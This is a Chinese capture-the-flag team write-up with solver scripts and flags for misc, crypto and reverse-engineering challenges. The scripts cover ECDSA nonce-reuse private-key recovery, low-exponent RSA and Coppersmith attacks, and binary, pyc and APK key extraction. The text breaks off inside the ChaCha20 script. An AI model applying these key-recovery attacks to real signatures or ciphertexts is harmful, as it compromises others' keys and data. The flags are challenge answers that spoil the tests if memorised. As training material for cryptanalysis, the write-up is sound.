战队:3F04282D0A

感谢 Bewater、SdTVdp、LFischl 在本次比赛中的投入。本文按题型汇总战队实际完成的 19 道题,保留关键分析、完整脚本与实际验证结果。

MISC

幻影(LFischl)

文件分析

附件是一个 data.bin。先用“随波逐流”扫描,可以看出 Flag 为 UUID 格式。

再用 010 Editor 查看文件内容,提取出 Base64 数据并解码。

单字节异或

解码后的数据仍是密文,对 0x00–0xff 的单字节密钥逐一异或,并按 Flag 格式过滤结果。

1
2
3
4
5
6
7
import re
cipher = b"7=06*52efa2ah|5g42|e5f2|h20g|0idcbdb4be33,"
for key in range(256):
plain = bytes(b ^ key for b in cipher)
if re.search(rb"flag\{[^}]+\}", plain, re.IGNORECASE):
print(f"key = 0x{key:02x}")
print(plain.decode("ascii", errors="ignore"))

Flag

flag{dc470c09-d6ec-4d7c-9ca6-a852353e34bb}

签到题-损坏的压缩包(LFischl)

修复与解码

附件为 archive_08.zip。压缩包的目录结构存在损坏,使用 Bandizip 的修复功能处理后即可正常解压。

解压后得到 Base64 字符串,直接解码即可还原结果。

Flag

flag{dfmz}

迷宫(LFischl)

定位 vault.bin

沿附件中的目录层级逐步进入,最终在隐藏配置目录下找到 vault.bin。使用 010 Editor 打开后,可以看到主体是一段 Base64 文本。

文件中的有效 Base64 数据为:

1
NGNkMmE2ZmU3N2M2NDYzZTEwMmM5NjMxZDYzMWZmZjA=

Base64 解码

取到结尾填充符 = 为止的有效数据,在 CyberChef 中进行 Base64 解码,得到 32 位十六进制字符串 4cd2a6fe77c6463e102c9631d631fff0

按题目格式补全 flag{} 后即可得到最终结果。

Flag

flag{4cd2a6fe77c6463e102c9631d631fff0}

像素中的秘密(SdTVdp)

检查 PNG 结构

附件 image_09.zip 中只有 image_09.png。图片可以正常打开,视觉上是一张 64 x 64 的纯白 PNG。

继续按 PNG chunk 格式解析,正常结构只有 IHDRIDATIEND

1
2
3
0x0008 IHDR len=13  end=0x21
0x0021 IDAT len=124 end=0xa9
0x00a9 IEND len=0 end=0xb5

IEND 结束偏移为 0xb5,但文件总长度为 245 字节,因此文件尾还有 64 字节追加数据。隐藏内容不在像素 LSB 中,而在 PNG 的 IEND 之后。

提取并解密尾部数据

提取出的 64 字节追加数据为:

1
0000000069cb3445d5dd713d5d0e34cec22eb9484e1bba9045ffd4bb0c11026cb206bcc5cb28dc03d1ace75dedc106ad28679a31dc8b6ef5d0ef82f90493d63d

结合数据结构,将其拆分为三段:

1
2
3
reserved = 00000000
seed = 69cb3445
cipher = d5dd713d5d0e34cec22eb9484e1bba9045ffd4bb0c11026cb206bcc5cb28dc03d1ace75dedc106ad28679a31dc8b6ef5d0ef82f90493d63d

seed 按大端序解析为 0x69cb3445,用它初始化线性同余生成器。每轮更新 x = (1664525 * x + 1013904223) & 0xffffffff,取 x 的低 8 位与密文字节异或,得到中间 Base62 字符串:

1
5bctImRCJiCYrptEu06bhb4qjQvdGSBfQsU4YB

再按字母表 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ 进行 Base62 解码,即可还原 Flag。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python3
import struct
import zipfile
from pathlib import Path

PNG_SIG = b"\x89PNG\r\n\x1a\n"
BASE62_ALPHABET = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

def parse_png_and_get_trailer(png_data: bytes) -> bytes:
if not png_data.startswith(PNG_SIG):
raise ValueError("not a PNG file")

pos = len(PNG_SIG)
while pos + 12 <= len(png_data):
length = struct.unpack(">I", png_data[pos:pos + 4])[0]
chunk_type = png_data[pos + 4:pos + 8]
chunk_end = pos + 12 + length
if chunk_type == b"IEND":
return png_data[chunk_end:]
pos = chunk_end

raise ValueError("IEND chunk not found")

def lcg_xor_decrypt(seed: int, cipher: bytes) -> bytes:
x = seed
out = bytearray()
for byte in cipher:
x = (1664525 * x + 1013904223) & 0xffffffff
out.append(byte ^ (x & 0xff))
return bytes(out)

def base62_decode(text: str) -> bytes:
num = 0
for ch in text:
num = num * 62 + BASE62_ALPHABET.index(ch)
return num.to_bytes((num.bit_length() + 7) // 8, "big")

def main():
zip_path = Path("image_09.zip")
with zipfile.ZipFile(zip_path, "r") as zf:
png_name = zf.namelist()[0]
png_data = zf.read(png_name)

trailer = parse_png_and_get_trailer(png_data)
reserved = trailer[:4]
seed = int.from_bytes(trailer[4:8], "big")
cipher = trailer[8:]

middle = lcg_xor_decrypt(seed, cipher).rstrip(b"\x00").decode("ascii")
flag = base62_decode(middle).decode("utf-8")

print("reserved:", reserved.hex())
print("seed:", hex(seed))
print("cipher length:", len(cipher))
print("LCG XOR result:", middle)
print("flag:", flag)

if __name__ == "__main__":
main()

Flag

flag{known_plaintext_attack}

CRYPTO

ECDSA nonce 重用(Bewater)

核心漏洞

题目给出了两条不同消息的 ECDSA 签名,它们使用同一公钥,并且满足 signature1_r == signature2_r。这表明签名时重复使用了同一个随机数 k

ECDSA 签名公式为 s = k^-1 * (z + r * d) mod n。两式相减后可以直接恢复 nonce:

1
2
k = (z1 - z2) * (s1 - s2)^-1 mod n
d = (s1 * k - z1) * r^-1 mod n

哈希与私钥验证

两条消息是十六进制编码,需要先使用 bytes.fromhex() 还原原始字节,再计算 SHA-256。恢复出的 nonce 为 0x7b15150fcb977c9427977cdcaf733b45020a134ed9a8325cf3f0d9e26a33d503,私钥为 0x25b7feda5c207eb13d6c860c736aad45835da29c0246d8ccd1196443b32f77ea

使用恢复出的私钥与生成元 G 做标量乘法,所得点与题目公钥一致。Flag 取私钥十六进制字符串的前 32 个字符。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/usr/bin/env python3
import argparse
import hashlib
import json


P = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
GX = 55066263022277343669578718895168534326250603453777594175500187360389116729240
GY = 32670510020758816978083085130507043184471273380659243275938904335757337482424


def parse_int(value):
if isinstance(value, int):
return value
value = str(value).strip()
if value.lower().startswith("0x"):
return int(value, 16)
return int(value)


def inv_mod(value, modulus):
return pow(value % modulus, -1, modulus)


def point_add(a, b):
if a is None:
return b
if b is None:
return a

x1, y1 = a
x2, y2 = b

if x1 == x2 and (y1 + y2) % P == 0:
return None

if a == b:
lam = (3 * x1 * x1) * inv_mod(2 * y1, P) % P
else:
lam = (y2 - y1) * inv_mod(x2 - x1, P) % P

x3 = (lam * lam - x1 - x2) % P
y3 = (lam * (x1 - x3) - y1) % P
return (x3, y3)


def point_mul(k, point):
result = None
addend = point

while k:
if k & 1:
result = point_add(result, addend)
addend = point_add(addend, addend)
k >>= 1

return result


def ecdsa_hash_to_int(message_hex):
message = bytes.fromhex(message_hex)
digest = hashlib.sha256(message).digest()
z = int.from_bytes(digest, "big")

# ECDSA uses the leftmost min(hash_bits, n_bits) bits of the digest.
digest_bits = len(digest) * 8
n_bits = N.bit_length()
if digest_bits > n_bits:
z >>= digest_bits - n_bits
return z


def recover_private_key(data):
r1 = parse_int(data["signature1_r"])
r2 = parse_int(data["signature2_r"])
if r1 != r2:
raise ValueError("signature1_r != signature2_r, so the nonce-reuse condition is not met")

s1 = parse_int(data["signature1_s"])
s2 = parse_int(data["signature2_s"])
z1 = ecdsa_hash_to_int(data["message1"])
z2 = ecdsa_hash_to_int(data["message2"])

k = ((z1 - z2) * inv_mod(s1 - s2, N)) % N
d = ((s1 * k - z1) * inv_mod(r1, N)) % N
return {
"r": r1,
"s1": s1,
"s2": s2,
"z1": z1,
"z2": z2,
"k": k,
"d": d,
}


def build_flag(private_key):
priv_hex = f"{private_key:064x}"
return f"flag{{ecdsa_nonce_reuse_{priv_hex[:32]}}}"


def main():
parser = argparse.ArgumentParser(
description="Recover a secp256k1 ECDSA private key from two signatures that reused the same nonce."
)
parser.add_argument("challenge", help="Path to challenge.json")
args = parser.parse_args()

with open(args.challenge, "r", encoding="utf-8") as f:
data = json.load(f)

curve_name = str(data.get("curve", "")).lower()
if curve_name != "secp256k1":
raise ValueError(f"Unsupported curve: {data.get('curve')}")

result = recover_private_key(data)
public_key = (parse_int(data["public_key_x"]), parse_int(data["public_key_y"]))
derived_public_key = point_mul(result["d"], (GX, GY))
verified = derived_public_key == public_key

print(f"r = 0x{result['r']:064x}")
print(f"s1 = 0x{result['s1']:064x}")
print(f"s2 = 0x{result['s2']:064x}")
print(f"z1 = 0x{result['z1']:064x}")
print(f"z2 = 0x{result['z2']:064x}")
print(f"k = 0x{result['k']:064x}")
print(f"private_key = 0x{result['d']:064x}")
print(f"public_key_verified = {verified}")
print(f"flag = {build_flag(result['d'])}")


if __name__ == "__main__":
main()

Flag

flag{ecdsa_nonce_reuse_25b7feda5c207eb13d6c860c736aad45}

BabyRSA4(Bewater)

低指数攻击

题目使用 RSA 公钥指数 e = 3。当明文较短且 m^3 < n 时,模运算实际没有发生回绕,因而 c = m^3 mod n 等价于整数域上的 c = m^3。对密文直接开整数立方根即可恢复明文。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import long_to_bytes

def integer_cbrt(num):
left, right = 0, num
while left <= right:
mid = (left + right) // 2
val = mid ** 3
if val == num:
return mid
elif val < num:
left = mid + 1
else:
right = mid - 1
return right

n = 90472319190191436498656329216269075762987334382158517522571084872962426913048037630542093505180424958521811984478465171653316099814521346741473161134438338431604219377764394763973639101480700360594302986965727749160349061733258177062638384416554049792433655280079472665914825611038481378584969091905410690393
e = 3
c = 2217344750801130684919496666982573147047384246866263513165043145054778649744525576092543411472445987523767148116670481554996499816326638711275273787291361936549404927640726148457591026510067227198773069368842973739246970587734331363796710227152083320540042932668261882015333

m = integer_cbrt(c)
flag = long_to_bytes(m)
print(flag.decode())

Flag

flag{b2df01757bf6216ee42656c99534e693}

ScatterRSA2(SdTVdp)

加密结构

附件解压后得到 task.pyoutput.txt。同一明文 m 先经过三组不同的线性变换 a_i * m + b_i,再分别使用指数 e = 3 进行 RSA 加密。

每个信道满足:

1
2
3
4
(a_i*x + b_i)^3 - c_i == 0 (mod n_i)

f_i(x) = (b_i^3-c_i) + 3*a_i*b_i^2*x
+ 3*a_i^2*b_i*x^2 + a_i^3*x^3

三个模数 n_i 两两互素,因此可以将三条三次同余按多项式系数分别用 CRT 合并,得到模 N = n1 * n2 * n3 的三次同余。最高次系数与 N 互素,乘其逆元后化为首一多项式:

1
f(x) = x^3 + u2*x^2 + u1*x + u0

利用 Flag 格式进一步缩小未知量。设中间内容长度为 k,则:

1
2
m = bytes_to_long(b"flag{") * 256^(k+1) + 256*y + ord("}")
0 <= y < 256^k

遍历中间内容长度,对 y 使用单变量 Coppersmith 小根求解。LLL 约化得到候选根后,再回代三条原始同余;三组均成立时输出 Flag。

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from secret import flag
from Crypto.Util.number import *
import random

m = bytes_to_long(flag)
e = 3

print(f"e = {e}")

for i in range(3):
p = getPrime(512)
q = getPrime(512)
n = p * q
a = random.getrandbits(128) | (1 << 127)
b = random.getrandbits(256) | (1 << 255)
c = pow(a * m + b, e, n)

print(f"n{i+1} = {n}")
print(f"a{i+1} = {a}")
print(f"b{i+1} = {b}")
print(f"c{i+1} = {c}")

题目输出

1
2
3
4
5
6
7
8
9
10
11
12
13
e = 3
n1 = 106942858976837461231869224985700778482062286073360067401664531056810083958780571502313463376483350698131773553082175875215723887321050148363182735079797616626363005392597385593185664941948197534874212258582102810493286143935415748556536186145362206413165825137102596658269090498262143681608309430440308757483
a1 = 299322928681076422038745665978862379157
b1 = 59087081825181636501158935761312878233448985130888172824087923722210974268705
c1 = 98294624733261319181583988519681835440462282361073935201625891101125390829100807293422676761229527485704773592497676317140386159502203937759033089603745824436086090158155363126240815171760903433001978041454184608846117326755667241724444923731185842787498879658486140909685827166808315057166416446385436338157
n2 = 98316426231482946975220425947801720886255114719000796514586297591562275903798640552997266908434574210875738432635350750273976191275978931867337229907998058722410059986521848910740489322024211230961021860961337278448228096641563785010181868332574445300470055958568704370327903434313610576813501939245586716999
a2 = 238175606177678308209456565225464121331
b2 = 72209677443052235578472305367068399561075517868865334527715804876606806849079
c2 = 88401412351676668895751185489122390231114438608063010755900866791975770053335804008673736673911247079044349112634505953389525849238999412142403629818741958448609728629912228248004232558218608993697936231523194426570646371272426953511640995374687770257536086766030334449610400022537915291876862108725263772017
n3 = 72725422695793899253139314142362633592506815609086636853568526928203603008459966889354908333262381449316654250663565909258842111058952182342094883201771130466270690676608041755358180159161394939564642949722257047549807728787885968332865646047202276439654826869809727279696887495884775007409012322878986435881
a3 = 293362810333071134334840063072261059660
b3 = 63834403243032230124923183263952558992908714633021292626749573535323605242389
c3 = 68718536017407339439769718499720278152615742583566502851329876282270515709381515122358672880144700924309792042502641894193895098761601183907220576779403200872369777511381788203190872314946279937795612780437730276557999152558818644252231059897779130944032015742444879995522966157358401481873828599118792316846

EXP

脚本依赖 sympypython-flint,只对题目给出的本地参数进行计算。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
ScatterRSA2 solver.

Dependencies:
python -m pip install sympy python-flint

The script combines three affine RSA equations with CRT and solves the
resulting monic cubic congruence by Coppersmith's univariate small-root method.
"""

from __future__ import annotations

import math
import re
from pathlib import Path

import sympy as sp
from flint import fmpz_mat

ROOT = Path(__file__).resolve().parent
OUTPUT = ROOT / "extracted" / "output.txt"

def load_values(path: Path = OUTPUT) -> dict[str, int]:
text = path.read_text(encoding="utf-8")
return {name: int(value) for name, value in re.findall(r"([a-z]\d*|e) = (\d+)", text)}

def crt(residues: list[int], moduli: list[int]) -> int:
modulus = math.prod(moduli)
total = 0
for residue, mod in zip(residues, moduli):
part = modulus // mod
total = (total + residue * part * pow(part, -1, mod)) % modulus
return total

def trim(poly: list[int]) -> list[int]:
while len(poly) > 1 and poly[-1] == 0:
poly.pop()
return poly

def mul(p: list[int], q: list[int]) -> list[int]:
out = [0] * (len(p) + len(q) - 1)
for i, pi in enumerate(p):
if pi == 0:
continue
for j, qj in enumerate(q):
if qj:
out[i + j] += pi * qj
return trim(out)

def power(poly: list[int], exp: int) -> list[int]:
out = [1]
base = poly[:]
while exp:
if exp & 1:
out = mul(out, base)
exp >>= 1
if exp:
base = mul(base, base)
return out

def shift(poly: list[int], amount: int) -> list[int]:
return [0] * amount + poly

def mod_poly(poly: list[int], modulus: int) -> list[int]:
return [coeff % modulus for coeff in poly]

def compose_linear(poly: list[int], base: int, scale: int, modulus: int) -> list[int]:
"""Return poly(base + scale*x) modulo modulus, coefficients low to high."""
out = [0]
cur = [1]
linear = [base % modulus, scale % modulus]

for coeff in poly:
if len(out) < len(cur):
out.extend([0] * (len(cur) - len(out)))
coeff %= modulus
for i, value in enumerate(cur):
out[i] = (out[i] + coeff * value) % modulus
cur = mod_poly(mul(cur, linear), modulus)

return trim(mod_poly(out, modulus))

def eval_mod(poly: list[int], x_value: int, modulus: int) -> int:
value = 0
for coeff in reversed(poly):
value = (value * x_value + coeff) % modulus
return value

def make_monic(poly: list[int], modulus: int) -> list[int]:
degree = len(poly) - 1
inv = pow(poly[-1] % modulus, -1, modulus)
return [(poly[i] * inv) % modulus for i in range(degree)] + [1]

def combine_polynomial(values: dict[str, int]) -> tuple[list[int], int]:
ns = [values[f"n{i}"] for i in range(1, 4)]
as_ = [values[f"a{i}"] for i in range(1, 4)]
bs = [values[f"b{i}"] for i in range(1, 4)]
cs = [values[f"c{i}"] for i in range(1, 4)]

modulus = math.prod(ns)
combined: list[int] = []
for degree in range(4):
residues = []
for a, b, c, n in zip(as_, bs, cs, ns):
# (a*x+b)^3-c = (b^3-c) + 3ab^2*x + 3a^2b*x^2 + a^3*x^3
local = [
(b**3 - c) % n,
(3 * a * b * b) % n,
(3 * a * a * b) % n,
(a**3) % n,
]
residues.append(local[degree])
combined.append(crt(residues, ns))

return make_monic(combined, modulus), modulus

def coppersmith_small_roots(
poly: list[int], modulus: int, bound: int, mm: int = 1, tt: int = 3
) -> list[int]:
"""Find roots |x| < bound for a monic polynomial modulo modulus."""
degree = len(poly) - 1
lattice_polys: list[list[int]] = []

for i in range(mm):
fi = power(poly, i)
multiplier = modulus ** (mm - i)
for j in range(degree):
lattice_polys.append([coeff * multiplier for coeff in shift(fi, j)])

fm = power(poly, mm)
for j in range(tt):
lattice_polys.append(shift(fm, j))

max_degree = max(len(p) for p in lattice_polys) - 1
powers = [1]
for _ in range(max_degree):
powers.append(powers[-1] * bound)

rows = []
for p in lattice_polys:
rows.append(
[(p[i] if i < len(p) else 0) * powers[i] for i in range(max_degree + 1)]
)

reduced = fmpz_mat(rows).lll(delta=0.99, eta=0.51)
x = sp.Symbol("x")
roots: set[int] = set()

for row_index in range(reduced.nrows()):
row = [int(reduced[row_index, col]) for col in range(reduced.ncols())]
candidate_poly = []
for i, coeff in enumerate(row):
if coeff % powers[i] != 0:
break
candidate_poly.append(coeff // powers[i])
else:
candidate_poly = trim(candidate_poly)
if len(candidate_poly) == 1:
continue
integer_poly = sp.Poly.from_list(
list(reversed(candidate_poly)), gens=x, domain=sp.ZZ
)
for root in integer_poly.ground_roots():
if root.is_Integer:
value = int(root)
if 0 <= value < bound and eval_mod(poly, value, modulus) == 0:
roots.add(value)

return sorted(roots)

def verify_plaintext(m: int, values: dict[str, int]) -> bool:
for i in range(1, 4):
n = values[f"n{i}"]
a = values[f"a{i}"]
b = values[f"b{i}"]
c = values[f"c{i}"]
if pow(a * m + b, values["e"], n) != c:
return False
return True

def recover_flag() -> bytes:
values = load_values()
combined, modulus = combine_polynomial(values)

prefixes = [b"flag{", b"FLAG{", b"DASCTF{", b"YWB{", b"GWHT{"]
for prefix in prefixes:
for middle_len in range(1, 96):
base = int.from_bytes(prefix, "big") * (256 ** (middle_len + 1)) + ord("}")
transformed = compose_linear(combined, base, 256, modulus)
transformed += [0] * (4 - len(transformed))
monic = make_monic(transformed[:4], modulus)
bound = 256**middle_len

for middle in coppersmith_small_roots(monic, modulus, bound):
m = base + 256 * middle
if verify_plaintext(m, values):
return m.to_bytes((m.bit_length() + 7) // 8, "big")

raise RuntimeError("flag not found")

if __name__ == "__main__":
flag = recover_flag()
print(flag.decode())

Flag

flag{e3bed61d917f86053a6ec4a2adb9d34c}

REVERSE

rerere(SdTVdp)

定位校验逻辑

获取 rerere.exe 后,先确认它是 Windows x64 PE 程序。程序中可以直接看到 InputCorrect!Wrong! 字符串,并导入 fgetsstrlenputs 等函数,可以判断这是输入校验类逆向题。

在 IDA 中定位到 main_logic,程序要求输入长度为 0x26,即 38 字节。进入 check_input 后,校验逻辑等价于:

1
2
3
4
5
for i in range(0x26):
index = input[i] ^ key[i & 7]
if sbox[index] != target[i]:
return False
return True

因此无需爆破,只需构造 S-box 的逆表,按 input[i] = inverse_sbox[target[i]] ^ key[i & 7] 逐字节反算。

关键数据

1
2
3
4
5
6
7
target:
a3 5b 4c 0a 0e b8 f4 da 14 75 02 3a 8d e5 77 d5
b1 43 ac a7 b1 49 a5 64 d7 96 02 a7 b1 79 42 b6
53 43 43 49 5c 6c

xor_key:
b9 cd ce 30 b8 61 4e aa

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python3
import argparse
import struct
from pathlib import Path
TARGET_VA = 0x140004020
KEY_VA = 0x140004048
SBOX_VA = 0x140004060
TARGET_LEN = 0x26
KEY_LEN = 8
SBOX_LEN = 256
def u16(buf, off):
return struct.unpack_from("<H", buf, off)[0]
def u32(buf, off):
return struct.unpack_from("<I", buf, off)[0]
def u64(buf, off):
return struct.unpack_from("<Q", buf, off)[0]
def parse_pe_sections(buf):
if buf[:2] != b"MZ":
raise ValueError("not a PE file: missing MZ header")
pe_off = u32(buf, 0x3C)
if buf[pe_off : pe_off + 4] != b"PE\x00\x00":
raise ValueError("not a PE file: missing PE signature")
section_count = u16(buf, pe_off + 6)
optional_size = u16(buf, pe_off + 20)
optional_off = pe_off + 24
magic = u16(buf, optional_off)
if magic != 0x20B:
raise ValueError(f"expected PE32+ executable, got optional header {magic:#x}")
image_base = u64(buf, optional_off + 24)
section_off = optional_off + optional_size
sections = []
for index in range(section_count):
off = section_off + index * 40
name = buf[off : off + 8].rstrip(b"\x00").decode("ascii", "replace")
virtual_size = u32(buf, off + 8)
virtual_address = u32(buf, off + 12)
raw_size = u32(buf, off + 16)
raw_pointer = u32(buf, off + 20)
sections.append((name, virtual_address, max(virtual_size, raw_size), raw_pointer))
return image_base, sections
def va_to_file_offset(va, image_base, sections):
rva = va - image_base
for name, virtual_address, size, raw_pointer in sections:
if virtual_address <= rva < virtual_address + size:
return raw_pointer + (rva - virtual_address)
raise ValueError(f"VA {va:#x} is not covered by any section")
def read_at_va(buf, image_base, sections, va, size):
off = va_to_file_offset(va, image_base, sections)
return buf[off : off + size]
def solve(binary_path):
buf = binary_path.read_bytes()
image_base, sections = parse_pe_sections(buf)
target = read_at_va(buf, image_base, sections, TARGET_VA, TARGET_LEN)
key = read_at_va(buf, image_base, sections, KEY_VA, KEY_LEN)
sbox = read_at_va(buf, image_base, sections, SBOX_VA, SBOX_LEN)
inverse_sbox = [None] * 256
for index, value in enumerate(sbox):
inverse_sbox[value] = index
if any(value is None for value in inverse_sbox):
raise ValueError("sbox is not a complete byte permutation")
flag = bytes(inverse_sbox[target[i]] ^ key[i % KEY_LEN] for i in range(TARGET_LEN))
encoded = bytes(sbox[flag[i] ^ key[i % KEY_LEN]] for i in range(TARGET_LEN))
if encoded != target:
raise ValueError("self-check failed")
return flag, target, key
def main():
parser = argparse.ArgumentParser(description="Solve rerere8 reverse challenge.")
parser.add_argument(
"binary",
nargs="?",
default=Path(__file__).resolve().parent / "rerere8" / "rerere.exe",
type=Path,
help="path to rerere.exe",
)
args = parser.parse_args()
flag, target, key = solve(args.binary)
print(f"binary: {args.binary}")
print(f"target[{len(target)}]: {target.hex()}")
print(f"key[{len(key)}]: {key.hex()}")
print(f"flag: {flag.decode('ascii')}")
if __name__ == "__main__":
main()

将反算出的 Flag 输入原程序,程序输出 Correct!,校验通过。

Flag

flag{557050ec8cf8f479b22ad0797f69fe3e}

字节码追踪(SdTVdp)

反汇编 pyc

解压 py_obf_04.zip 后只有一个 py_obf_04.pyc。文件 magic 为 cb 0d 0d 0a,经 xdis 识别为 Python 3.12 字节码。当前 Python 3.13 无法直接运行,因此改用 xdis 反汇编。

main 中,encoded_flag 是一段 Base64 字符串,xor_key 为 199。decrypt_flag 先执行 Base64 解码,再对每个字节异或 0xc7

关键数据

1
2
encoded_flag = oaumoLz+oKqlsqnz/+qg8Kir6ret/73qq7Gx/+quqPC39Km3srar8vW6
xor_key = 199 # 0xc7

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3
import base64
import re
import zipfile
from pathlib import Path
XOR_KEY = 199
DEFAULT_ARCHIVE = Path(__file__).with_name("py_obf_04.zip")
def load_challenge_bytes(path: Path) -> bytes:
if path.suffix.lower() == ".zip":
with zipfile.ZipFile(path) as zf:
pyc_names = [name for name in zf.namelist() if name.endswith(".pyc")]
if not pyc_names:
raise RuntimeError("zip 中没有找到 .pyc 文件")
return zf.read(pyc_names[0])
return path.read_bytes()
def extract_base64_constant(data: bytes) -> str:
candidates = []
# Python marshal short-ascii strings are stored as: 0x7a ('z'), 1-byte length,
# then raw ASCII data. The encoded flag is such a constant in this pyc.
for offset in range(len(data) - 2):
if data[offset] == ord("z"):
size = data[offset + 1]
match = data[offset + 2 : offset + 2 + size]
if len(match) >= 24:
candidates.append(match)
# Fallback for other marshalled/text layouts.
for run in re.findall(rb"[A-Za-z0-9+/]{24,}={0,2}", data):
for start in range(0, min(4, len(run))):
match = run[start:]
if len(match) >= 24:
candidates.append(match)
valid = []
for match in candidates:
if len(match) % 4:
continue
try:
base64.b64decode(match, validate=True)
except Exception:
continue
valid.append(match)
if not valid:
raise RuntimeError("没有在 pyc 中找到 base64 编码常量")
return max(valid, key=len).decode()
def decrypt(encoded_flag: str, key: int = XOR_KEY) -> str:
decoded = base64.b64decode(encoded_flag)
return bytes(byte ^ key for byte in decoded).decode()
def main() -> None:
data = load_challenge_bytes(DEFAULT_ARCHIVE)
encoded_flag = extract_base64_constant(data)
flag = decrypt(encoded_flag)
print(f"encoded_flag = {encoded_flag}")
print(f"xor_key = {XOR_KEY}")
print(f"flag = {flag}")
if __name__ == "__main__":
main()

Flag

flag{9gmbun48-g7ol-pj8z-lvv8-io7p3npuql52}

ChaCha20(SdTVdp)

解压题目附件后,确认核心文件是 APK,其中包含 x86 native 库 libmyapplication.so

从 Java 层定位 native 校验

用 jadx 打开 APK,在 MainActivity 的按钮回调中看到输入被传给 NativeBridge.c(candidate),因此真正的校验逻辑位于 native 层。

JNI_OnLoadRegisterNatives 注册表中,方法 c (Ljava/lang/String;)Z 对应地址 0x25350

1
2
3
a  ([B)[B                -> 0x250D0
b ([B)[B -> 0x25210
c (Ljava/lang/String;)Z -> 0x25350

识别 ChaCha20

进入 0x25350 后,函数取出用户输入,调用 0x25760 进行 XOR 流加密,然后转为十六进制并与内置字符串比较。

继续跟进 0x257600x26CE0,可以看到常量 expand 32-byte k,以及 16、12、8、7 的 quarter round 轮转参数,可确认为标准 ChaCha20。参数为:

1
2
3
4
key:        0xF305, 32 bytes
nonce: 0xF325, 12 bytes
counter: 1
target_hex: 0xE3B6

ChaCha20 是流密码,校验等价于 hex(plaintext XOR keystream) == target_hex,对目标密文再异或同一段密钥流即可恢复明文。

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#!/usr/bin/env python3
import argparse
import struct
import zipfile
from pathlib import Path
KEY_OFF = 0xF305
NONCE_OFF = 0xF325
TARGET_HEX_OFF = 0xE3B6
COUNTER = 1
def u32_words(data):
return struct.unpack("<%dI" % (len(data) // 4), data)
def rotl32(value, bits):
return ((value << bits) & 0xFFFFFFFF) | (value >> (32 - bits))
def quarter_round(state, a, b, c, d):
state[a] = (state[a] + state[b]) & 0xFFFFFFFF
state[d] ^= state[a]
state[d] = rotl32(state[d], 16)
state[c] = (state[c] + state[d]) & 0xFFFFFFFF
state[b] ^= state[c]
state[b] = rotl32(state[b], 12)
state[a] = (state[a] + state[b]) & 0xFFFFFFFF
state[d] ^= state[a]
state[d] = rotl32(state[d], 8)
state[c] = (state[c] + state[d]) & 0xFFFFFFFF
state[b] ^= state[c]
state[b] = rotl32(state[b], 7)
def chacha20_block(key, nonce, counter):
constants = b"expand 32-byte k"
initial = list(u32_words(constants) + u32_words(key) + (counter,) + u32_words(nonce))
state = initial[:]
for _ in range(10):
quarter_round(state, 0, 4, 8, 12)
quarter_round(state, 1, 5, 9, 13)
quarter_round(state, 2, 6, 10, 14)
quarter_round(state, 3, 7, 11, 15)
quarter_round(state, 0, 5, 10, 15)
quarter_round(state, 1, 6, 11, 12)
quarter_round(state, 2, 7, 8, 13)
quarter_round(state, 3, 4, 9, 14)
out = [(state[i] + initial[i]) & 0xFFFFFFFF for i in range(16)]
return struct.pack("<16I", *out)
def chacha20_xor(data, key, nonce, counter=1):
stream = bytearray()
block_counter = counter
while len(stream) < len(data):
stream.extend(chacha20_block(key, nonce, block_counter))
block_counter = (block_counter + 1) & 0xFFFFFFFF
return bytes(x ^ y for x, y in zip(data, stream))
def c_string(blob, offset):
end = blob.index(b"\x00", offset)
return blob[offset:end]
